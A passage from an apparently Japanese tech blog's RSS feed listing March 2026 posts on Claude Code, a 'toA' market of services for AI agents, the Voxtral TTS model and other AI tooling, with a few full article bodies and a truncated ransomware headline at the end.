&lt;li&gt;Hugo ビルド確認&lt;/li&gt;
&lt;li&gt;コミット・プッシュ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PR 本文ファイルを書き出し&lt;/strong&gt;、&lt;code&gt;gh pr create --body-file&lt;/code&gt; で PR 作成&lt;/li&gt;
&lt;li&gt;ソース元に PR リンクを追記&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;問題が起きたのはステップ 5 です。PR 本文ファイル（&lt;code&gt;pr_body.md&lt;/code&gt;）を &lt;code&gt;.claude/temp/&lt;/code&gt; に Write ツールで書き込もうとすると、sensitive file チェックに引っかかります。&lt;/p&gt;</description></item><item><title>Claude Code のソースコードが npm のソースマップから全公開された件</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE%E3%82%BD%E3%83%BC%E3%82%B9%E3%82%B3%E3%83%BC%E3%83%89%E3%81%8C-npm-%E3%81%AE%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%9E%E3%83%83%E3%83%97%E3%81%8B%E3%82%89%E5%85%A8%E5%85%AC%E9%96%8B%E3%81%95%E3%82%8C%E3%81%9F%E4%BB%B6/</link><pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE%E3%82%BD%E3%83%BC%E3%82%B9%E3%82%B3%E3%83%BC%E3%83%89%E3%81%8C-npm-%E3%81%AE%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%9E%E3%83%83%E3%83%97%E3%81%8B%E3%82%89%E5%85%A8%E5%85%AC%E9%96%8B%E3%81%95%E3%82%8C%E3%81%9F%E4%BB%B6/</guid><description>Anthropic の Claude Code npm パッケージにソースマップファイルが混入し、約51万行の TypeScript ソースコードが全公開。原因の設定ミスと、npm パッケージ公開時のソースマップ対策を解説。</description></item><item><title>Claude Code を Ollama でローカル無料実行する方法</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%82%92-ollama-%E3%81%A7%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB%E7%84%A1%E6%96%99%E5%AE%9F%E8%A1%8C%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/</link><pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%82%92-ollama-%E3%81%A7%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB%E7%84%A1%E6%96%99%E5%AE%9F%E8%A1%8C%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/</guid><description>Ollama v0.15 以降で Claude Code をローカル LLM バックエンドで無料実行する方法。ollama launch コマンドによるワンコマンドセットアップから、環境変数による手動設定、ハードウェア要件、実用上の注意点まで解説。</description></item><item><title>MiroFish その後: 3週間で GitHub Star 4.7万超へ — コミュニティの広がりと今後の展望</title><link>https://hdknr.github.io/blogs/posts/2026/03/mirofish-%E3%81%9D%E3%81%AE%E5%BE%8C-3%E9%80%B1%E9%96%93%E3%81%A7-github-star-4.7%E4%B8%87%E8%B6%85%E3%81%B8-%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E3%81%AE%E5%BA%83%E3%81%8C%E3%82%8A%E3%81%A8%E4%BB%8A%E5%BE%8C%E3%81%AE%E5%B1%95%E6%9C%9B/</link><pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/mirofish-%E3%81%9D%E3%81%AE%E5%BE%8C-3%E9%80%B1%E9%96%93%E3%81%A7-github-star-4.7%E4%B8%87%E8%B6%85%E3%81%B8-%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E3%81%AE%E5%BA%83%E3%81%8C%E3%82%8A%E3%81%A8%E4%BB%8A%E5%BE%8C%E3%81%AE%E5%B1%95%E6%9C%9B/</guid><description>AI 予測エンジン MiroFish が公開3週間で GitHub Star 4.7万超に急成長。オフライン版やデモサイトなどコミュニティの展開と、群体知能アプローチの可能性を追う。</description></item><item><title>「toA」時代の到来 — AIエージェント向けサービス200超が示す新市場の全体像</title><link>https://hdknr.github.io/blogs/posts/2026/03/toa%E6%99%82%E4%BB%A3%E3%81%AE%E5%88%B0%E6%9D%A5-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%90%91%E3%81%91%E3%82%B5%E3%83%BC%E3%83%93%E3%82%B9200%E8%B6%85%E3%81%8C%E7%A4%BA%E3%81%99%E6%96%B0%E5%B8%82%E5%A0%B4%E3%81%AE%E5%85%A8%E4%BD%93%E5%83%8F/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/toa%E6%99%82%E4%BB%A3%E3%81%AE%E5%88%B0%E6%9D%A5-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%90%91%E3%81%91%E3%82%B5%E3%83%BC%E3%83%93%E3%82%B9200%E8%B6%85%E3%81%8C%E7%A4%BA%E3%81%99%E6%96%B0%E5%B8%82%E5%A0%B4%E3%81%AE%E5%85%A8%E4%BD%93%E5%83%8F/</guid><description>&lt;p&gt;「toC」でも「toB」でもない。AIエージェントそのものがお客さんになる——「toA」という新しい市場が急速に立ち上がっています。paji氏（&lt;a href="https://x.com/paji_a"&gt;@paji_a&lt;/a&gt;）がリサーチした200超のサービスから見えてきた、この新市場の構造を紹介します。&lt;/p&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="ja" dir="ltr"&gt;Claudeヤバい、1日で”toA”デモできた… &lt;a href="https://t.co/olgPwJ1SIr"&gt;https://t.co/olgPwJ1SIr&lt;/a&gt; &lt;a href="https://t.co/P46txbWVHh"&gt;pic.twitter.com/P46txbWVHh&lt;/a&gt;&lt;/p&gt;&amp;mdash; paji.eth (@paji_a) &lt;a href="https://twitter.com/paji_a/status/2038223706678562979?ref_src=twsrc%5Etfw"&gt;March 29, 2026&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;
&lt;h2 id="なぜtoaが生まれたのか"&gt;なぜ「toA」が生まれたのか&lt;/h2&gt;
&lt;p&gt;2026年はAIエージェントの普及が一段と進む年です。Claude Cowork / Dispatch、Manus、OpenClawなど、年明けからAIエージェントに関するリリースが途切れることなく続いています。&lt;/p&gt;
&lt;p&gt;ここで起きている変化は明確です。&lt;strong&gt;エージェントを作るツールに加え、エージェントが実際に使う周辺サービスが急増し始めました。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;メールアドレスの発行、長期記憶の保存、Webサイトの操作手順を教えてくれるサービス、仕事を受注して報酬を受け取るマーケットプレイス。主な導入者は人間の開発者や企業ですが、用途はAIエージェントの運用インフラです。&lt;/p&gt;
&lt;p&gt;「人間向け」には成熟していたデジタルサービスの領域が、「AIエージェント向け」には別の問題として再出現している——これが「toA」市場の本質です。&lt;/p&gt;
&lt;h2 id="エージェントの5つの生存条件"&gt;エージェントの「5つの生存条件」&lt;/h2&gt;
&lt;p&gt;200を超えるtoAサービスを分類すると、ひとつの構造が浮かび上がります。エージェントが自律的に動くには、以下の5つの条件が必要です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;条件&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;th&gt;代表カテゴリ&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;「私は誰か」&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;存在証明&lt;/td&gt;
&lt;td&gt;メール、ID、SNS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;「安全に作業できる場所」&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;実行環境&lt;/td&gt;
&lt;td&gt;サンドボックス、GPU推論&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;「外の世界を操作する手段」&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ブラウザ・外部接続&lt;/td&gt;
&lt;td&gt;Web自動操作、プロキシ、OAuth&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;「経験を蓄積する力」&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;記憶&lt;/td&gt;
&lt;td&gt;長期記憶、コンテキスト管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;「対価を受け取る仕組み」&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;経済活動&lt;/td&gt;
&lt;td&gt;マーケットプレイス、エスクロー、決済&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;この5つが揃って初めて、エージェントは自律的に仕事ができます。一つでも欠けると止まります。そして多くのサービスが、この5つのどれかを埋めるために生まれていました。&lt;/p&gt;
&lt;p&gt;残りのカテゴリ（監視、ガードレール、音声、通信など）は、5つの基盤の上に乗る「運用・拡張レイヤー」として位置づけられます。&lt;/p&gt;
&lt;h2 id="枯れた領域に次々と新種が生まれている"&gt;枯れた領域に次々と新種が生まれている&lt;/h2&gt;
&lt;h3 id="メール--agentmail"&gt;メール — AgentMail&lt;/h3&gt;
&lt;p&gt;人間向けのメールサービスはGmailが圧倒的で、今さら新規参入する余地はなさそうに見えます。でも「AIエージェント専用のメール」となると話は別です。APIで即座にメールボックスが作れて、スレッド管理も添付解析も全部プログラムから操作できて、メールで届くOTP/2FA（ワンタイムパスワード/二要素認証）コードも取得できる。AgentMailはY Combinator出身で、600万ドル（約9億円）を調達しています。&lt;/p&gt;
&lt;h3 id="記憶--mem0"&gt;記憶 — Mem0&lt;/h3&gt;
&lt;p&gt;人間はメモ帳やNotionに書き残すことで記憶を補強しますが、エージェントにはそもそもセッションをまたぐ記憶がありません。Mem0は会話からファクトを自動抽出して保存し、次のセッションで関連記憶を自動注入してくれます。人間のメモ帳のエージェント版です。&lt;/p&gt;
&lt;h3 id="webブラウジング--agent-maps"&gt;Webブラウジング — Agent Maps&lt;/h3&gt;
&lt;p&gt;人間はGoogle Mapsで店を探してクリックして予約しますが、エージェントは「ボタンがどこにあるか」を毎回スクリーンショットから推測しないといけない。Agent Mapsは主要サイトの操作手順をあらかじめ検証済みの「攻略本」としてエージェントに渡します。&lt;/p&gt;
&lt;h3 id="外部ツール連携--composio"&gt;外部ツール連携 — Composio&lt;/h3&gt;
&lt;p&gt;人間はSlackにログインしてメッセージを送りますが、エージェントはOAuth認証のフローを安定してさばくのが難しい。Composioは500以上のアプリ接続とOAuth処理を提供します。&lt;/p&gt;
&lt;h2 id="稼ぐエージェントと使うエージェント"&gt;「稼ぐエージェント」と「使うエージェント」&lt;/h2&gt;
&lt;p&gt;さらに踏み込んだ領域もあります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HYRVE AI&lt;/strong&gt;は、AIエージェントが「フリーランサー」として活動するマーケットプレイスです。48時間のエスクロー保護付きで、エージェントが別のエージェントを雇うこともできます。「エージェントが自律的に稼ぐ」というコンセプトは、この先どこかのプレイヤーが必ず大きく育てる領域です。&lt;/p&gt;
&lt;p&gt;一方、&lt;strong&gt;Anon&lt;/strong&gt;は、ログイン情報そのものではなく認証済みセッションをエージェントに安全に扱わせるサービスです。エージェントに「自分のアカウントで注文しておいて」と頼みたいけど、パスワードを直接渡すのは怖い。Anonはログイン済みの状態だけをエージェントに渡すので、エージェントは操作できるけどパスワード自体には触れられません。&lt;/p&gt;
&lt;p&gt;「稼ぐエージェント」と「使うエージェント」。この両方のインフラが同時に立ち上がっているのが2026年の面白いところです。&lt;/p&gt;
&lt;h2 id="toaのエッジがプラットフォームになる"&gt;toAの「エッジ」がプラットフォームになる&lt;/h2&gt;
&lt;p&gt;AIの時代に本当に価値を持つのは、AIモデルそのものだけではなく、&lt;strong&gt;AIが「動く」ために必要な周辺インフラ&lt;/strong&gt;です。&lt;/p&gt;
&lt;p&gt;存在証明、実行環境、操作手段、記憶、経済活動。これらのインフラを押さえたサービスが、AI時代の重要なプラットフォームになっていく。枯れ尽くしたデジタルサービスの「エッジ」にいるtoAサービス群に、大きなチャンスがあります。&lt;/p&gt;
&lt;p&gt;新しいtoAサービスが今後どんなに増えても、「5つの生存条件」＋「運用・拡張」という二層構造の中のどこかに位置づけられるはずです。ここを押さえておくと、新サービスが出てきたときに「これはどの条件を埋めるものか」が即座に判断できます。&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;「toA」は既存市場の延長ではなく、新しいカテゴリそのもの&lt;/li&gt;
&lt;li&gt;エージェントの自律動作には5つの生存条件（存在証明・実行環境・操作手段・記憶・経済活動）が必要&lt;/li&gt;
&lt;li&gt;人間向けに成熟した領域が、エージェント向けに再発明されている&lt;/li&gt;
&lt;li&gt;200超のサービスが既に存在し、この市場は急拡大中&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;詳細な200サービスのリストは、paji氏の記事「&lt;a href="https://humanadsai.com/blog/agentic-utility-belt-200-services"&gt;AIエージェント向けサービス200選&lt;/a&gt;」で確認できます。&lt;/p&gt;</description></item><item><title>AI社員40人を作って1ヶ月で全部やめた話 — 壊れない設計のために知っておくべきこと</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E7%A4%BE%E5%93%A140%E4%BA%BA%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%A61%E3%83%B6%E6%9C%88%E3%81%A7%E5%85%A8%E9%83%A8%E3%82%84%E3%82%81%E3%81%9F%E8%A9%B1-%E5%A3%8A%E3%82%8C%E3%81%AA%E3%81%84%E8%A8%AD%E8%A8%88%E3%81%AE%E3%81%9F%E3%82%81%E3%81%AB%E7%9F%A5%E3%81%A3%E3%81%A6%E3%81%8A%E3%81%8F%E3%81%B9%E3%81%8D%E3%81%93%E3%81%A8/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E7%A4%BE%E5%93%A140%E4%BA%BA%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%A61%E3%83%B6%E6%9C%88%E3%81%A7%E5%85%A8%E9%83%A8%E3%82%84%E3%82%81%E3%81%9F%E8%A9%B1-%E5%A3%8A%E3%82%8C%E3%81%AA%E3%81%84%E8%A8%AD%E8%A8%88%E3%81%AE%E3%81%9F%E3%82%81%E3%81%AB%E7%9F%A5%E3%81%A3%E3%81%A6%E3%81%8A%E3%81%8F%E3%81%B9%E3%81%8D%E3%81%93%E3%81%A8/</guid><description>Claude Codeでエージェント40体を1ヶ月運用して全部やめた実体験レポート。Context Rot、Compaction、指示の限界という3つの構造的問題と、壊れないAIエージェント設計の考え方を解説。</description></item><item><title>Claude AI で投資銀行レベルの財務モデルを作成する 12 のプロンプト</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-ai-%E3%81%A7%E6%8A%95%E8%B3%87%E9%8A%80%E8%A1%8C%E3%83%AC%E3%83%99%E3%83%AB%E3%81%AE%E8%B2%A1%E5%8B%99%E3%83%A2%E3%83%87%E3%83%AB%E3%82%92%E4%BD%9C%E6%88%90%E3%81%99%E3%82%8B-12-%E3%81%AE%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-ai-%E3%81%A7%E6%8A%95%E8%B3%87%E9%8A%80%E8%A1%8C%E3%83%AC%E3%83%99%E3%83%AB%E3%81%AE%E8%B2%A1%E5%8B%99%E3%83%A2%E3%83%87%E3%83%AB%E3%82%92%E4%BD%9C%E6%88%90%E3%81%99%E3%82%8B-12-%E3%81%AE%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88/</guid><description>ゴールドマン・サックスも採用した Claude AI を使い、DCF・LBO・3ステートメントモデルなど投資銀行レベルの財務モデルを 12 の構造化プロンプトで構築する方法を解説</description></item><item><title>Claude Code + Celery: LLMが決定論的処理を動的に委譲するオーケストレーション</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code--celery-llm%E3%81%8C%E6%B1%BA%E5%AE%9A%E8%AB%96%E7%9A%84%E5%87%A6%E7%90%86%E3%82%92%E5%8B%95%E7%9A%84%E3%81%AB%E5%A7%94%E8%AD%B2%E3%81%99%E3%82%8B%E3%82%AA%E3%83%BC%E3%82%B1%E3%82%B9%E3%83%88%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code--celery-llm%E3%81%8C%E6%B1%BA%E5%AE%9A%E8%AB%96%E7%9A%84%E5%87%A6%E7%90%86%E3%82%92%E5%8B%95%E7%9A%84%E3%81%AB%E5%A7%94%E8%AD%B2%E3%81%99%E3%82%8B%E3%82%AA%E3%83%BC%E3%82%B1%E3%82%B9%E3%83%88%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3/</guid><description>Claude Code を Celery タスクキューと組み合わせ、LLM が判断・計画を行い、決定論的処理をワーカーに委譲するオーケストレーションアーキテクチャを解説。</description></item><item><title>Claude Codeベストプラクティス疲れに終止符 — claude-code-best-practiceリポジトリ一本で運用する方法</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9%E7%96%B2%E3%82%8C%E3%81%AB%E7%B5%82%E6%AD%A2%E7%AC%A6-claude-code-best-practice%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E4%B8%80%E6%9C%AC%E3%81%A7%E9%81%8B%E7%94%A8%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9%E7%96%B2%E3%82%8C%E3%81%AB%E7%B5%82%E6%AD%A2%E7%AC%A6-claude-code-best-practice%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E4%B8%80%E6%9C%AC%E3%81%A7%E9%81%8B%E7%94%A8%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/</guid><description>&lt;p&gt;Claude Codeのベストプラクティスが毎日TLに流れてくる。追いかけるのに疲れた人向けに、&lt;strong&gt;1つのリポジトリだけをフォローして運用する方法&lt;/strong&gt;を紹介する。&lt;/p&gt;
&lt;h2 id="ベストプラクティス疲れという問題"&gt;ベストプラクティス疲れという問題&lt;/h2&gt;
&lt;p&gt;Claude Codeの普及に伴い、SNS上には日々さまざまなベストプラクティスやTipsが投稿されている。しかし、情報が断片的で、どれを採用すべきか判断するだけでも消耗する。&lt;/p&gt;
&lt;p&gt;結論として、&lt;strong&gt;ベストプラクティスを追うことに時間を費やすより、具体的な仕組みの実装に時間を割いた方が生産的&lt;/strong&gt;だ。&lt;/p&gt;
&lt;h2 id="claude-code-best-practiceリポジトリとは"&gt;claude-code-best-practiceリポジトリとは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/shanraisshan/claude-code-best-practice"&gt;shanraisshan/claude-code-best-practice&lt;/a&gt; は、Claude Codeの設計や運用に関するベストプラクティスを体系的にまとめたリポジトリだ。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GitHub Star数: 約24,800（2026年3月時点）&lt;/li&gt;
&lt;li&gt;海外コミュニティで広く参照されている&lt;/li&gt;
&lt;li&gt;設計思想から具体的な設定まで、日々更新されている&lt;/li&gt;
&lt;li&gt;日本のSNSでバズるClaude Code Tipsも、元ネタはこのリポジトリ周辺であることが多い&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="導入手順"&gt;導入手順&lt;/h2&gt;
&lt;p&gt;やることは2ステップだけ。&lt;/p&gt;
&lt;h3 id="step-1-リポジトリをクローン"&gt;Step 1: リポジトリをクローン&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/shanraisshan/claude-code-best-practice.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="step-2-claude-codeにプロジェクト固有のベストプラクティスを提案させる"&gt;Step 2: Claude Codeにプロジェクト固有のベストプラクティスを提案させる&lt;/h3&gt;
&lt;p&gt;自分のプロジェクトディレクトリでClaude Codeを起動し、以下のように依頼する:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;このリポジトリ（claude-code-best-practice）を参考に、
うちのプロジェクトに合ったベストプラクティスを提案して
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Claude Codeがプロジェクトの構成を読み取り、適切なCLAUDE.mdの設定やSkills、エージェント構成を提案してくれる。&lt;/p&gt;
&lt;h2 id="startup-hookで常に最新化する"&gt;startup hookで常に最新化する&lt;/h2&gt;
&lt;p&gt;クローンしたリポジトリは時間とともに古くなる。Claude Codeの &lt;code&gt;SessionStart&lt;/code&gt; hook（セッション開始時に自動実行される仕組み）に &lt;code&gt;git pull&lt;/code&gt; を設定しておけば、起動のたびに自動で最新化される。&lt;/p&gt;
&lt;p&gt;Claude Codeのユーザー設定ファイル（&lt;code&gt;~/.claude/settings.json&lt;/code&gt;）に以下を追加する:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;hooks&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;SessionStart&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;command&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;command&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;cd /path/to/claude-code-best-practice &amp;amp;&amp;amp; git pull --quiet&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;timeout&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;/path/to/&lt;/code&gt; の部分は、Step 1でクローンした実際のパスに置き換えること。&lt;/p&gt;</description></item><item><title>Mistral Voxtral TTS: ElevenLabs に匹敵するオープンウェイト音声AI</title><link>https://hdknr.github.io/blogs/posts/2026/03/mistral-voxtral-tts-elevenlabs-%E3%81%AB%E5%8C%B9%E6%95%B5%E3%81%99%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%A6%E3%82%A7%E3%82%A4%E3%83%88%E9%9F%B3%E5%A3%B0ai/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/mistral-voxtral-tts-elevenlabs-%E3%81%AB%E5%8C%B9%E6%95%B5%E3%81%99%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%A6%E3%82%A7%E3%82%A4%E3%83%88%E9%9F%B3%E5%A3%B0ai/</guid><description>Mistral AI が公開した Voxtral TTS は 4B パラメータのオープンウェイト音声合成モデル。ElevenLabs 級の品質をローカル GPU で実現。動作要件・音声クローン機能・ライセンスを解説。</description></item><item><title>Pay2Key の Linux ランサムウェアが x64/ARM64 サーバーを標的に — 防御機構を無効化する高度な手口</title><link>https://hdknr.github.io/blogs/posts/2026/03/pay2key-%E3%81%AE-linux-%E3%83%A9%E3%83%B3%E3%82%B5%E3%83%A0%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%8C-x64/arm64-%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%82%92%E6%A8%99%E7%9A%84%E3%81%AB-%E9%98%B2%E5%BE%A1%E6%A9%9F%E6%A7%8B%E3%82%92%E7%84%A1%E5%8A%B9%E5%8C%96%E3%81%99%E3%82%8B%E9%AB%98%E5%BA%A6%E3%81%AA%E6%89%8B%E5%8F%A3/</link><pubDate>Mon, 30 Mar 2026 00:00:00 